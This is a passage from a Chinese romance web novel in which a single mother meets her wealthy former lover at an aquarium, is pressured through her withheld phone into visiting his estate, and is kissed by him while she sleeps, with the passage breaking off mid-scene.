“你我谁跟谁啊。” 阮薇轻轻怼了下她的胳膊,“走吧,这个点去,还能赶上下午两点的海狮表演。” 说罢,一手拉着一个孩子走在了前面。 “妈妈,快快。” 乔慕心见干妈拉着两个哥哥已经走了,着急的晃着她的衣袖。 乔眠浅笑着揉揉女儿的脑袋,牵着女儿的小手跟了上去。 海洋馆在市郊新区,二十多公里远,还好阮薇有车。 不过,阮薇懒得开。 把车钥匙丢给了她,“眠眠,你经常兼职代驾,车技肯定比我好。” “干妈,你懒就懒呗。” 上车后,乔慕城嘟哝了一句。 逗得阮薇笑着捏捏他的脸蛋,跟乔眠打趣,“这孩子傲娇毒舌的劲儿,也不知道随了你和……” 话到一半,看到乔眠在后视镜朝她眨眼睛的眼神时,立马拍了一下嘴,沉默了。 好在三小只没有在意。 …… 一个小时后。 今天周六,来海洋馆的人很多。 阮薇牵着乔慕城和慕野先刷门票进去了。乔眠抱着乔慕心紧随其后。 许是今天周六,加上还有不少学校组团参观的缘故,人特别多。 通道里挤满了人。 三个孩子们特别开心,望着各种千奇百怪的鱼,嘴里碎碎念念着嬉笑着。 刚开始,五个人还在一起看五颜六色漂亮的水母。 但是,经过鲨鱼馆时,乔慕心被仅一道玻璃屏障相隔,忽然冲过来的一只大鲨鱼吓得哭了鼻子。 好半天,手脚并用的挂在她身上,小脸埋在她脖颈间,不敢多看一眼。 但是,乔慕城和乔慕野一点都不怕,还非要站在玻璃墙前,等着大鲨鱼飞扑过来时,让阮薇给他们抓拍照片。 前面是深海大型动物馆,还有各种各样的大鱼。 乔慕心胆小的厉害,一双小手紧紧抱着她的脖颈,“妈妈,我害怕,大鱼会不会咬我哦。” “不会……” 乔眠抚着她薄瘦的脊背,额头蹭了蹭她的小脸,温声哄着女儿。 “乔慕心,你有点出息好不好?” 乔慕城撅着小嘴儿,瞅着一路上挂在乔眠身上的乔慕心,小大人似的,递给她一根棒棒糖,“妈妈抱着你会累的。” 乔慕野伸手拉了拉妹妹的小手,“心心,不怕,哥哥们拉着你一起走。” 第46章 女儿被霍宴北撞见 乔慕心这才下来,拉着哥哥们的小手,由最开始的惊惧,到后来看到脑袋上那些漂浮在玻璃墙里,飞来飞去的大鱼时,开心的直拍手。 乔眠和阮薇紧紧跟在孩子们后面,一边仔细照顾孩子们,别跟人磕碰到,一边聊天。 “眠眠,三个小宝太乖巧懂事了,看的我都想生了。” 阮薇惊叹一声。 乔眠抿嘴淡笑,“那就抓紧找个男朋友,结婚,省得阮院长一直催你。” 提起这茬,阮薇顺口秃噜出去一句,“要是像你遇到一个霍宴北那种渣男咋办?这六年,你过得多辛苦啊。” 阮薇是肺腑之言。 乔眠听后,唯有苦涩一笑。 这一生中,每个女孩都会遇上一个最爱的男人。 疯过,伤过,爱过之后,无论是再难走的路,只能走到底。 因为来时路,是自己选择的。 她乔眠从不后悔遇到霍宴北,也不后悔爱过他。 只后悔自己没有早点醒悟,让自己少痛一些…… 望着三个可爱又懂事的小宝们,心里会酸会疼,但她又是幸福的。 “妈妈,好怕怕……” 乔慕心忽然一脑袋扎过来,一双小手抱着她的腿,踮着小脚要抱抱。 前面是热带雨林动物馆。 有各种各样的蛇、蜥蜴之类的。 别说女儿怕,她一个大人也怕。 她抱起女儿,看到阮薇已经牵着乔慕城和乔慕野走进去了。 于是,从包里拿出手机,给阮薇打电话,等会出口汇合。 手机是一直搁置在家的二手手机。 主要是方便孩子们在家时,有事情跟她打电话用的。 乔眠领着女儿往回又逛了一圈后出去。 看时间,海狮表演还早。 乔慕心嚷嚷着渴了,前面有卖冰淇淋的。 人很多。 她牵着女儿排队,只是付款,取冰淇淋时,松了手。 仅仅十几秒的功夫,再低头女儿时,乔慕心已经不见了。 她吓得脸都白了。 冰淇淋从手中落在地上。 她也顾不得,焦急的在人群中穿梭着找。 嗓音像是黏住了一样,喊不出声来。 而乔慕心是被前面不远处的旋转木马吸引过去的。 小短腿走着走着,又想起妈妈,往回走时,发现广场上全是人。 她个子矮,陷在人堆里,辨不清方向。 一通瞎转时,撞到了一个人。 因为她跑的急,撞到对方时,惯性使然,她一屁股坐在了地上。 “小朋友,摔疼没有?” 霍宴北急忙将突然闯过来,跌坐在地上的小女孩拉起来。 一边温声询问,一边察看她的小手有没有擦伤。 乔慕心原本红着眼睛,扁着嘴,快要哭出来了,但是,却在看到男人那张脸时,黑亮亮的眼睛瞬间变得亮晶晶的。 本就软糯糯的声音,更夹了。 “叔叔,你长得好好看哦。” 霍宴北听得一怔。 这才仔细看清楚眼前小女孩的长相。 第一眼,就觉得这个小女孩长得很像一个人。 皮肤粉润润的,圆溜溜的大眼睛,像是泡在红酒里的葡萄似的,水润明亮。 头发很长,梳着两条麻花辫…… 正当他走神时,乔慕心握住他的大手,晃了晃,“帅叔叔,你结婚了吗?” 霍宴北再次一怔后,下意识摇了摇头。 乔慕心欣喜的弯着眉眼,“太好了,我妈妈也没有结婚哦,我妈妈长得可美可美了。” “……” 霍宴北脑袋宕机了两秒。 没懂,这小女孩想表达什么意思…… 只觉得这小女孩特别乖软、可爱。 “帅叔叔……” 乔慕心刚要再问些什么时,就看到前面晃过一道熟悉的身影。 是妈妈! 乔慕心开心的招手,“妈妈!” 乔眠听到熟悉的孩子唤声时,扭头一看。 乔慕心正小跑着朝她走过来。 乔眠紧张的情绪骤然松懈下来,注意力都在女儿身上。 跌跌撞撞的迎上几步,单膝跪在地上,一把把女儿搂进怀里,“心心,你没事吧?妈妈找不到你,快急死了。” 乔慕心蹭了蹭妈妈的脸颊,声音软软的,“妈妈,我没事,我遇到一个帅叔叔……” 乔眠一听,松开女儿,站起身,朝女儿身后看去。 待看清楚所谓的‘帅叔叔’是谁时,小脸刷一下白了白。浑身的血液仿佛凝固了一般。 整具身体僵在了原地。 霍宴北…… 居然在这里遇到了他…… 此时,霍宴北脸上亦是闪过一丝吃惊。 只是,眉头紧蹙,表情有些冷。 “妈妈……” 乔慕心刚一开口,乔眠急忙把女儿拉至身后,努力保持镇静,打了一声招呼,“霍总,真巧……” 霍宴北望着乔眠像护小鸡似的护着小女孩,唇角轻扯了一丝弧度,“没想到乔律师有这么一个漂亮可爱的女儿。” 原来,她真的有了孩子…… 怪不得方才看到这个小女孩的第一眼时,觉得眼熟的很。 此时,乍看之下,小女孩简直是Q版的乔眠。 圆乎乎,软糯糯的。 不知为何,脑海里不禁映现出阿妩的脸…… 想到这里,他攥了一下指骨,开口问了一句,“她叫什么名字?” 乔眠还未开口,乔慕心脱口而出,“帅叔叔,我叫乔慕心。” “……” 听到这小女孩姓乔时,男人眉骨微拢。 这孩子随的是妈妈的姓氏…… 怎么没随她那废物男朋友呢? 乔眠见他目光紧紧盯着乔慕心,一副若有所思的样子,紧紧咬了一下唇角,“霍总,我还有事就……” 话到一半,一道娇糯的孩子声音传过来。 “爸爸!爸爸!我可算找到你了。” 乔眠转眸一看。 只见一个打扮的粉粉嫩嫩的小女孩,小跑过来,扑进了霍宴北怀里。 乔眠攥着女儿小手的手心微微一颤的同时,心也跟着颤动了一下。 小女孩和乔慕心年龄差不多,个头也差不多高。 只是,小女孩打扮精致,宛若一个从城堡里跑出来的小公主。 手里举着一个米奇热气球,笑起来时,一对梨涡尤为好看。 “没想到霍总也有这么一个漂亮的女儿。” 乔眠扯了下唇角,语气淡淡。 霍宴北听到这句话,心里莫名不舒服,抬眸看向她时,乔眠已经挪开了视线。 第47章 喊他妻子霍太太 此时,宋蔓踩着高跟鞋走了过来,“宴北,我跟女儿找了你一圈,海狮表演快开始了。” 说这话时,顺势挽住了霍宴北的胳膊。 当转头看到牵着一个小女孩的乔眠时微微一愣,“乔律师?真是你,刚才我还以为看错了。” 乔眠抿了一下唇,攥着女儿小手的手微微收紧,淡声打招呼,“霍太太,刚才我找女儿,正好遇见了霍总,就聊了两句。” 她神情平静,简单两句话快速解释清楚。 免得宋蔓误会。 然而,霍宴北听到这声霍太太时,不知为何,只觉得心里刺刺的。 宋蔓却在听到乔眠唤她霍太太时,着实一怔。 她和霍宴北隐婚生子的新闻,在网上已经炒得沸沸扬扬。 但是,她和霍宴北从未正式回应过。 除了圈里人私下唤她霍太太,这还是在外面,第一次称呼她为霍太太。 说实话,这一声霍太太,从乔眠嘴里喊出来,极大程度上满足了宋蔓的胜负欲。 甚至一时间,觉得乔眠这个人挺有眼力见的。 宋蔓取下墨镜,脸上是藏不住的笑意。 原本对乔眠有敌意,毕竟,她害她弟弟在局子里蹲了好几天。 此时,因为那一声霍太太,宋蔓客气的寒暄了一句,“没想到乔律师已经有女儿了。” 乔眠嗯了一声。 宋蔓往她身后张望了一下,“你丈夫呢?” 乔眠眉心一蹙,牵紧女儿的手就想走时,乔慕心从她身后探出一个脑袋,说,“我爸爸变成天上的星星了……” 乔眠脸色狠狠一僵。 她有些不自然的看了一眼霍宴北。 心里说不出是何滋味。 女儿一句话,把他这个亲生爸爸送走了…… 此时,余光里瞥到阮薇领着乔慕城和乔慕野走了过来。 她急忙颔首,“霍总,霍太太,我带女儿去买点东西,先走了。” 说完,不等对方回应,牵起女儿的小手,转身就走。 此时,阮薇朝她挥手,正要喊她时,乔眠冲她摇了摇头后,拉着女儿朝另一个方向走去。 阮薇顺着乔眠刚才过来的方向看去。 虽然没有见过霍宴北本人,但是新闻中倒是没少见,她一眼认出那男的就是霍宴北本尊,想起眠眠刚才朝她摇头。 立马反应过来,牵起两小只的小手,朝出口走去。 “宝贝儿们,我们得走了。” “啊?” 乔慕城皱了皱小包子脸,“干妈,还没看海狮表演吶。” 乔慕野也不想走,“干妈,还有美人鱼演出呢。” “干妈还有急事要回去呢,你妈妈带着心心已经出去了。” 阮薇胡乱回应了一句。 乔慕城和乔慕野一听妈妈和妹妹已经走了,也不再说话,跟着干妈的脚步出了景区。 于此同时。 霍宴北神情恍惚的站在原地,直到远处的一大一小身影再也看不见时,他才收回目光。 宋蔓看他一眼,状似无意的说了一句,“没想到乔律师是个单亲妈妈。” “什么是单亲妈妈呀?” 抱着霍宴北的腿,有些犯困的霍思念问了一句。 宋蔓揉揉她的小脑袋,刚欲开口跟孩子解释时,霍宴北回了一句,“和妈妈的意思一样。” 宋蔓顿了一下,才意识到,跟孩子解释什么是‘单亲妈妈’,有些不合适。 她捏捏霍思念的小脸蛋,附和霍宴北的意思,“就是爸爸说的意思哦。” 说完,看向霍宴北,“海狮表演马上开始了,咱们进去吧。” 霍宴北从裤袋摸出一盒烟,“你带念念先进去,我抽根烟,随后找你们。” 宋蔓点头应了一声,拉着女儿的小手走了。 霍宴北点了一根烟,咬进嘴里,深深吸了一口。 眸色变得极深。 原来,乔眠根本没有男朋友。 她之前一直提男朋友,都是在虚张声势。 而且,她女儿的爸爸已经死了…… 想到这里,他心里说不上来是一种什么情绪。 就是觉得哪里很不得劲。 …… 回到出租屋后,已经是下午两点多。 三个小宝在客厅里看动画片。 厨房里,乔眠正在做饭。 阮薇把推拉门拉上后,憋了一路,没敢当着孩子面问的问题问了出来,“今天怎么回事?咋就遇上了霍宴北?” 乔眠一边切着菜,一边淡声回道,“就是恰好遇上了他们一家三口。” “一家三口?” 那会儿,阮薇只顾看霍宴北了,根本没在意身边有谁。 “一个丈夫带着妻子和女儿来海洋馆,很正常的事情,只不过,遇上了而已。” 她轻描淡写的说。 可是,心里却是闷闷的,喉咙有些发紧。 阮薇却骂了一声,“看来新闻上报道的他和宋蔓隐婚生子一事,还真是实锤啊。” 乔眠没吭声。 继续手上切菜的动作。 只是,到底心里有一丝凌乱,一不留神,锋利的刀刃切在了指骨上。 一缕鲜血溢出。 她松掉菜刀,急忙用手死死摁住。 阮薇吓了一跳,立马拉着她去了卧室,找到医药箱,给她清理伤口。 最后,用创可贴缠了一圈。 阮薇叹了一声,“眠眠,你是不是心里还想着霍宴北,看到他们一家三口在一起,你心里委屈,是不是?” 乔眠轻轻摇了摇头。 不禁想起下午拉着女儿走时,女儿嘟哝了一句,“妈妈,我也想要一个像帅叔叔那样的同款爸爸……” 当时,听到这句话,她心里难受极了。 她女儿的亲生父亲,带着妻女幸福美满,而她却和孩子们躲躲藏藏的。 又狼狈又可笑。 良久后,她趴在阮薇肩上哭了,“离开霍宴北,我从不后悔,这些年,委屈,怨恨,也只是为孩子们。” 阮薇眼睛微红,“眠眠,那个渣男不值得你掉眼泪,你值得更好的男人疼爱。” 乔眠没有说话,只是默默流着眼泪。 吃完饭后,阮薇回去了。 乔眠躺在床上睡了一觉。 醒来时,已经傍晚了。 这时,二手手机响了。 看到屏幕上闪烁着的那串熟悉的号码时,乔眠迟疑了一下,按了接听键。 她声音带着一丝沙哑,“霍总,有事吗?” 对方沉默了两秒,说,“我现在有时间,过来拿包。” 第48章 被他威胁去找他 乔眠没想到霍宴北会主动提出还包。 毕竟,他白天还说过,让她周一去办公室取…… 看时间,此时七点半。 晚上出去跟他见面,不妥。 毕竟,他有家室。 况且,之前被他摁在电梯里强吻的一幕,每回想一次,就让她不寒而栗。 下午,在海洋馆面对宋蔓时,她愧恼极了。 感觉自己就像回到了六年前,当霍宴北情人那段时间…… 乔眠思虑两秒,回道:“霍总,太晚了,我还是周一去办公室取吧。” 对方再次沉默之后,淡声说了一句,“乔律师,你觉得,我用多久可以解锁你的手机?” “你……” 乔眠有些慌:“霍总,偷窥别人手机的隐私,很不礼貌。” “我们吻过了,现在谈礼貌是不是太迟了?” “……” 乔眠被噎得小脸通红。 霍宴北听着对方气得呼吸紊乱的呼吸声,他坐在床前,伸手抚过平整的床单。 想得是那晚,躺在她身边,自我疏解的疯狂…… 他自己都觉得自己变态,对着一个像极了阿妩的女人这样…… 不过,他向来不是什么君子。 他很无所谓的语气,“车在楼下,自己决定。” 说完,挂了电话。 这时,佣人敲门,“霍先生,顾少和萧少来了。” …… 挂完电话后,乔眠烦躁的抓了抓头发。 真怕霍宴北发疯解锁她的手机,窥看。 他说是还包,分明就是威胁。 乔眠虽然恼火,但已经手忙脚乱的开始换衣服了。 从卧室出来后,三个小宝正在看动画片。 乔慕心跑过来,扑进她怀里,“妈妈,你要出去吗?我肚子饿了……” 下午两点多吃的饭,现在七点了,本来该是吃晚餐的时间。 而她又要出去…… 乔眠招呼慕城和慕野过来,“妈妈现在要出去一趟,没时间做晚餐了,我现在下楼,给你们买点吃的送上来,好不好?” 乔慕城:“在外面买着贵,我可以给弟弟妹妹煮泡面的。” 乔慕野赞同的点点头,“对啊,妈妈,我们吃泡面就行。” 乔慕心举手,“我也想吃泡面。” 三个孩子们不仅一点都不闹,还乖巧的帮她省钱。 乔眠心疼的厉害。 眼眶一下子红了。 她将孩子们一个个揽进怀里,“听话,我们不吃泡面,妈妈给你们买好吃的,你们不可以动煤气灶哦,知道吗?” “好……” 三小只点头保证后,乔眠这才放心出门。 走出狭窄的弄堂,一眼就看到一辆扎眼的劳斯莱斯停在路边。 看到她走过来,陈珂从车上下来。 “乔律师。” 乔眠往车内望了一眼,并未看到霍宴北的身影,问道,“不是让我取包吗?” 陈珂淡声,“包在霍总那里,我只是接您过去取。” “……” 乔眠皱眉。 他能派陈珂大老远过来一趟,就不能直接把包带过来? 也不知道要把她接到哪儿…… 此番情景,让她不禁想起以前,陈珂亦是这般站在车门前。 霍妩小姐,少爷让我接您去公司…… 霍妩小姐,少爷让我接您去酒店…… 霍妩小姐,少爷在外地出差,让我接您去机场…… 回忆残片再次灌入脑海,乔眠有一种逐渐被人掌控的感觉。 她攥了攥手指,“霍总在哪儿?” “澜园。” “那是哪儿?” 陈珂没有回答,“乔律师,去了就知道了。” 乔眠沉默两秒,妥协:“稍等,我买点吃的给孩子送楼上去。” 陈珂微微一怔。 他也是来之前,才从霍总口中得知乔眠有一个女儿的事情。 不知为何,之前调查乔律师,却没查到她竟然有孩子…… 也不知道哪里出问题了。 此时,乔眠进了一家灌汤包店。 买了孩子们最爱吃的口味,还有皮蛋瘦肉粥,一起打包带上了楼。 等坐上车,已经过去了十来分钟。 “抱歉,陈珂,让你久等了。” 刚才跑的急,呼吸还有些喘。 一时没觉察出有什么不对劲。 直到瞟到后视镜里,陈珂异样的眼神瞅着她时,才意识到言多必失。 她跟陈珂以前很熟,习惯性直呼其名。 可对于现在的乔眠而言,和陈珂不熟。 直呼其名,好像跟他认识许久的老友似的。 不过,她没有改口。 要不然,显得刻意在掩饰错误。 不过,陈珂也不介意。 只是,除了他的亲朋好友,习惯了别人叫他陈特助。 刚才乔眠冷不丁叫他名字,有些不习惯。 “孩子一个人在家?” 劳斯莱斯开出去后,陈珂起了一个话头。 乔眠嗯了一声。 陈珂盯着后视镜的眼神多了一丝同情:“孩子一个人在家不怕吗?” “家里装了监控,有时候晚上我出去兼职,只能把孩子放在家里……” “乔律师一个人养孩子挺辛苦的。” 陈珂感慨了一句。 他就是妈妈一个人拉扯大的,所以,这一点,很能共情乔眠。 乔眠弯了一下唇,没说什么。 以前,陈珂每次接她去见霍宴北的路上,两人就像这样有一搭没一搭的闲聊。 那时候,她的世界,除了霍宴北,没有任何朋友,太孤独了…… 没多久,车开入山道。 望着车窗外有些熟悉的山景时,乔眠这才意识到,澜园是那夜,霍宴北带她来的那栋宅院。 当瞥到不远处山腰上有一棵银杏树时,她的心猛地跳了一拍。 她打开车窗,冷风呼啸着灌进来。 望着那颗银杏树渐渐隐没在夜雾中时,忍不住问了一句,“陈特助,这附近是岚山吗?” 陈珂摸了一下耳朵,状似不经意的问,“是啊,就是一个不知名的小山,没想到乔律师一个沪城人,居然也知道这个山,以前来过吗?” 乔眠意识到自己可能说多了,立马找补,“没有来过,只是以前刷博主视频,刷到过。” 岚山其实就是京大后面的一座小山。 当年,她带着失明的霍宴北,爬的就是学校后面的岚山。 没想到,霍宴北住的澜园,居然在京大后山的半山腰…… 那颗两人初尝禁果的银杏树还在…… 他在半山腰建了一座澜园,是在缅怀两人的过去? 不。 乔眠轻轻摇头。 霍宴北不爱她。 曾经,他对她,就像对养在身边的一只宠物,只有绝对的控制欲。 或许,他都不知道岚山,以及那颗银杏树,是两人定情的地方…… 毕竟,那时,他眼睛还看不见。 凝思时,陈珂将车开进了园内。 “乔律师,到了。” 陈珂下车,给她打开车门。 车停在了主楼门前,乔眠下车后,跟着陈珂穿过长廊,直接走了进去。 刚入客厅,就听到打牌的动静。 以及一道熟悉轻挑的男人嗓音。 “宴北,你这澜园没个女人也忒无趣了,要不,点几道美味的外卖过来?” 第49章 靠在他肩上睡着了 乔眠反应了几秒,才明白‘点外卖’的另一种意思。 “一天净寻思些龌龊事,这是澜园,又不是戏园子。” 萧时一本正经的说教。 顾淮年切了一声。 只有霍宴北抬眸,睨着已经走进来的乔眠。 她穿了一件白色短款羽绒服,藏蓝色包臀鱼尾裙。 穿着普通。 但是,包臀鱼尾裙,将原本就玲珑的身段,凸显到极致。 细腰,蜜桃臀,就连裙摆下露出的一截小腿,亦是纤直漂亮。 长发慵懒披散,一张素颜,纯净的好似山夜间挂着的一轮清冷弦月。 霍宴北抬手,松了一下领带,喉咙有些干,“过来坐。” 顾淮年和萧时是背对门口坐的,听见霍宴北开口说话,这才扭头看去。 当看到乔眠时,顾淮年怔了一下,旋即看向霍宴北。 霍宴北没瞅他。 顾淮年轻嗤一声,拉开身边的椅子,唇角扯开一抹好看的弧度,“乔律师,来,坐这边。” 萧时一副事不关己的看戏姿态,品着茶,默不作声。 乔眠看到萧时也在时,目光微凝。 当年,每当霍宴北那些朋友取笑她时,萧时都在场。 话很少,偶尔附和一两句。 乔眠跟他不算熟。 印象却很深。 霍宴北曾经有段时间,让萧时给她开了一堆中药,调理身体备孕。 此时,乔眠装作不认识他,也不预备走到顾淮年身边坐下,只是看着霍宴北,态度恭敬,“霍总,我是拿包的。” “包?” 顾淮年一脸惊讶,“什么情况?” 霍宴北甩出去一张牌,“乔律师在澜园住过一夜,半夜发烧,还是萧时过来给看的。” 顾淮年有一种家被偷了的感觉,询问的眼神落向萧时。 萧时没说话,只是点了下头。 他不清楚乔眠后半夜有没有走,不好置评。 乔眠皱着眉,想要开口解释时,却见霍宴北从口袋掏出一个手机,放在桌上。 并朝她歪了下头。 示意她过去。 乔眠咬紧唇瓣。 那是她的手机。 又在威胁她。 乔眠只得抬步走过去。 路过顾淮年时,却被他突然拉出的椅子拦住了。 “乔律师,我身边的位置才适合你,毕竟霍先生有家室,挨得太近,会落人口实。” 说罢,胜券在握的朝霍宴北扬了扬眉。 霍宴北没说话。 乔眠觉得气氛很不对。 自己就像被架在了火上烤。 顾淮年刚才话里提醒她,要她避嫌。 事实上,她比谁都想避嫌。 可是—— 乔眠望了一眼已经被男人拿在手中把玩的手机时,没再犹豫,径直绕过顾淮年,走到霍宴北身边坐了下来。 顾淮年甩掉手里的牌,“输了一把又怎样,再接再厉呗。” 说罢,三人又开始新一轮牌局。 乔眠如坐针毡的坐着,想要伸手拿回手机时,霍宴北忽然附耳过来:“倒杯茶。” “是……” 下意识的顺从,让她懊恼的咬了一下唇。 此情此景,仿佛一下子将她拉回了曾经待在霍宴北身边的日子。 那时候,除了商业宴会,但凡是私人饭局或是朋友聚会,霍宴北都会把她带在身边。 她像一个小保姆,他喝酒不舒服时,会及时泡一杯茶送过去。 会在他用餐时,将碗筷重新清洁一遍。 细致到给他盛汤时,先用手背试好温度,再端到他面前。 就连包里也随身装着安全套。 他偏爱在不同场合跟她做…… 想到这些,乔眠已经起身,走到了茶台前。 茶台上放着五六种罐装茶叶。 应该是为不同客人的口味准备的。 五分钟后,乔眠端着一杯沏好的热茶,放在霍宴北面前。 他浅浅抿了一口,皱了皱眉,放下了。 “我不喜欢这个口味。” 他拨弄着手里的牌,轻声说了一句。 乔眠当然知道。 霍宴北的口味喜好,她比任何人都清楚。 所以,她没有泡他最爱喝的大红袍,而是冲了他不喜欢的金瓜贡茶。 如果她表现出对他喜好很清楚的话,少不得他又发疯怀疑她。 “那我重新冲一杯,霍总喜欢喝什么茶?” 她问。 霍宴北看着她一脸无知的模样,拧了下眉,“不必了。” “哦……” 两人交头接耳的一幕,像针一样扎得顾淮年眼睛疼。 “乔律师,麻烦给我冲杯咖啡呗?” 乔眠不想去。 真把她当成保姆了。 但是,霍宴北却说了一句:“去吧,客人想喝茶,自然得好好招待。” “……” 这话说的,好像她倒成了这里的主人…… 顾淮年也听出来了,霍宴北是存心戳他肺管子,气得摆了摆手,“不喝了。” 萧时笑了一声,没说话。 只是意味深长的看了一眼乔眠。 霍宴北对她特别,不奇怪。 那张脸,却是有几分像霍妩。 只是顾淮年,这货儿,从小到大就爱和霍宴北争抢斗闹。 乔眠只是他跟霍宴北较劲的工具人罢了。 气氛诡异的尴尬。 乔眠有些坐不下去了。 她想问什么时候可以把手机还给她,霍宴北直接将手机揣进了兜里。 乔眠只得坚持坐下去。 起初打着精神,听着三人打牌聊天。 但是,屋子里空调开的太暖和了。 加上那股淡淡的安神熏香的味道,没坐一会儿,就犯起困意。 低着头,单手撑着脸颊,脑袋一点一点的。 就在手撑不住,脑袋往下栽时,一只温厚的大掌及时托住了她的脑袋,往肩上轻轻一拨。 她稳稳靠在了他肩上。 平稳的支点,让乔眠困意更浓,嗅着那股清幽的草木香,就好像回到了过去。 那时候,她每次陪霍宴北打麻将,犯困时,他会让她把脑袋枕在他肩上…… “散了。” 霍宴北望了一眼靠在他肩上睡睡的乔眠,推掉手里的牌,拦腰抱起女人,去了二楼。 “我靠!霍宴北,你疯了……” 顾淮年酸的牙都要掉了。 萧时扯住他的胳膊,“行了,从小到大,你什么时候争得过宴北?当年,你追宋蔓追得那么起劲,最后,宋蔓还不是跟了宴北?” “你存心气我是吧?” 顾淮年气哄哄的往外走。 萧时见他快气炸了,跟上去,“你对那乔眠什么想法?” 第50章 跟她深深接吻 “什么什么想法?” 顾淮年扯了领带,感觉嘴里喷出来的都是火焰。 萧时叹气,“你又不喜欢乔眠,干嘛故意追求她,给宴北较劲?” 顾淮年咬牙:“我这是在救他!乔眠不过是长得有那么一丁点像霍妩,你看他,又犯疯病了!居然把人弄进了霍氏,他想干嘛?” “想效仿六年前,像圈养霍妩一样,把乔眠也养在身边当个地下情人?” “我就是要把乔眠追到手,断了他的念想,让他以后好好跟宋蔓过日子。” 萧时听完顾淮年振振有词的理由后,很是无语,“所以,你以为自己追到乔眠,就是拯救他?” “不然嘞!你刚也看见了,他完全把乔眠当成霍妩的替身了,他这样下去,早晚得进精神病院去。” 萧时无奈:“宴北的事情,连他老爹都不敢干涉,用得着你搁这儿添乱?” “我添乱?我是为了他……” “打住啊!” 萧时打断他:“你到底是为了宴北,还是为了宋蔓?” 顾淮年表情不自然的咳了一声,“当然是为了宴北……” “得了吧。” 萧时问:“宋蔓是不是又去你那儿说什么了?” 顾淮年别过脸,没吭声。 萧时刀了他一眼,“她搞不定宴北,就拿你当枪使,顾淮年,宴北和宋蔓的事情,你就不该插手,你要是还放不下宋蔓,就去追啊,反正她和宴北只是假夫妻。” 顾淮年听后,炮仗似的炸了,“姓萧的,我对兄弟坦坦正正,跟宋蔓清清白白,我就是替宋蔓不值。” “宋蔓六年前,用全部身家做陪嫁,帮助宴北坐上如今的位置,又眼巴巴的等了他六年,到头来,只捞到一个虚假名分,亏不亏啊?” “而宴北呢?不念及宋蔓的付出和等待,神经病似的满世界搜罗跟霍妩相像的女人!” “再说了,霍妩那个小哑巴有什么可想的?一把火,害死了好几条人命,宴北为此背锅,在监狱……” 听到这里,萧时一把捂住他的嘴,“那件事你也敢提?小心宴北打死你!” 顾淮年扒拉掉萧时的手,“揍死我也要说,霍妩那个小哑巴就是个祸害!死了真TM好!” 说完,迈着阔步走了。 萧时叹了一声。 望向二楼,霍宴北这么长时间没有下来,他就知道今天这牌局,是针对顾淮年的。 也是在警告顾淮年,别打乔眠的歪主意。 想来顾淮年这货儿,最近没少骚扰乔眠,若不然霍宴北今晚也不会用这么直白的方式警告他。 其实,兄弟之间,为女人又或是利益,最体面的方式就该是这样直来直去。 免得伤了兄弟情分。 宴北做的没错。 萧时跟出去,上车后,斜了一眼正准备拉黑霍宴北微信的顾淮年,“行了,拉黑删除这种幼稚的事,从小到大,你也没少干,最后还不是巴巴的把宴北给加回来?” 顾淮年手指一颤,取消拉黑,给霍宴北发了一条消息:【绝交!】 很快,对方回了一个字:【嗯。】 顾淮年气的直哼哼,把聊天页面展示给萧时看,“你看!他要跟我绝交!” 萧时满头黑线,“绝交不是你提出来的?” “我提的,他就同意了?” “行行行,咋还娇起来了?” 萧时嫌弃脸:“今晚你也看到宴北的态度了,那个乔眠虽然是一个替身,也不容你动歪心思,你以后啊,离乔眠远一点。我觉得人家姑娘挺冤的,一个把她当替身,另一个为了别的女人,拿她当工具人,一个个都他妈挺损的。” 萧时鲜少插手兄弟们的私事,可是,对于这件事,他觉得,乔眠那个女人着实惨。 顾淮年听到萧时连同霍宴北一起骂了,忍不住乐了,“反正我是不会放弃乔眠的,你都不知道,乔眠第一次看到我时,激动的都吐了,你说……她以前是不是暗恋过我,然后被我无视过,所以才应激的?” “她对宴北唯唯诺诺的,却对我冷冰冰的,她分明就是为了引起我的注意啊!” 萧时打开车门,“你再不滚,我都要吐了。” “……” …… 偌大的卧室,只开了一盏壁灯。 昏暗的灯光下,乔眠躺在松软的床上,还在熟睡。 纤弱的身体像虾一样蜷缩,侧躺着,像是很缺乏安全感。 霍宴北坐在床前,粗粝的指腹,动作轻柔、仔细的描绘着女人精致如画的五官。 最后,指腹来到她柔软的唇。 轻轻碾过,又揉搓着。 这一举动,惊扰了她。 她细糯的嘤咛一声,脸颊蹭了蹭枕头,含糊不清的呓语了一声,“别闹……” 声音软糯糯的。 他觉得,如果当年,阿妩能够开口说话的话,就应该是这样柔软娇糯的音色。 想到阿妩,他心脏忽然闷闷的疼。 望着乔眠那张脸,仿佛和阿妩的音容笑貌一点点重合。 他幻想着,阿妩瘦下来的样子,就是乔眠这般模样。 当年,他和阿妩在一起时,他的朋友们各种取笑。 但是,他们不懂,阿妩虽然胖,那张脸却如天使般绝美。 阿妩很白。 肌肤细腻娇嫩。 毫不夸张的说,阿妩的身体,像一块毫无瑕疵的美玉。 男人对女人产生欲望,无非是见色起意。 他对阿妩就是如此。 一如,此时对乔眠。 因为她像极了阿妩,所以,他对她生了占有欲。 他见不得顾淮年接近她。 他也不爽周津南跟她太热络,所以,打发他出差了。 盯着乔眠看了一会儿,他上床躺下来。 手臂穿过女人的腰,微微收拢,将她整儿个卷入了怀中。 拥着她柔软无骨般的身体,嗅着她发间的馨香,男人渐烫的额头,轻轻蹭着她的。 鼻尖相抵时,女人扭动了一下,微抬下颌时,柔软的唇碰到了他的唇。 那一刻,霍宴北眼底乔眠的脸,彻底变成了阿妩的脸。 宽厚的掌心扣住她的后脑勺,男人低头,沁凉的薄唇一点点轻啄着她的眉眼,鼻尖。 最后,落在她唇角,辗转了一会儿后,终于克制不住的吻住了女人的红唇。 第51章 吻后,他要花钱买她 像是对待一件易碎的珍宝一样,吻得很轻,很温柔。 乔眠感觉自己做了一场梦。 梦里,在霍家的床上,和霍宴北接吻。 六年了。 她不曾有过情事,许是时间久了,也会有生理需求。 偶尔也会做春梦。 梦到的都是和霍宴北,在不同场地做那种事…… 一如此刻,炽烈的吻,快要把她身体融化了。 她甚至听到了自己的紊乱的喘息声。 情动之下,一双小手紧紧攀附着他的肩,主动回应他的吻…… 霍宴北没想到她会回应。 微微抬头,想看她是不是醒了时,却被女人忽然勾住脖颈,将他的头又拉了回去。 霍宴北停顿了两秒,睁开眼睛,看着女人闭着眼睛,凌乱的回吻。 显然不清醒。 “阿妩……” 他抱紧她,一个翻身,将纤弱的她覆在身下。 一边深吻她的唇,一边借着换气间隙,深情地呢喃她的名字。 想听她的回应。 可是,她像是沉浸在一场梦中,只是安静地跟他接吻。 就在两人身体毫无距离贴合一起,吻落在她肩颈,厮磨着她红透的耳蜗时,男人一声声诱哄:“阿妩,叫哥哥……” 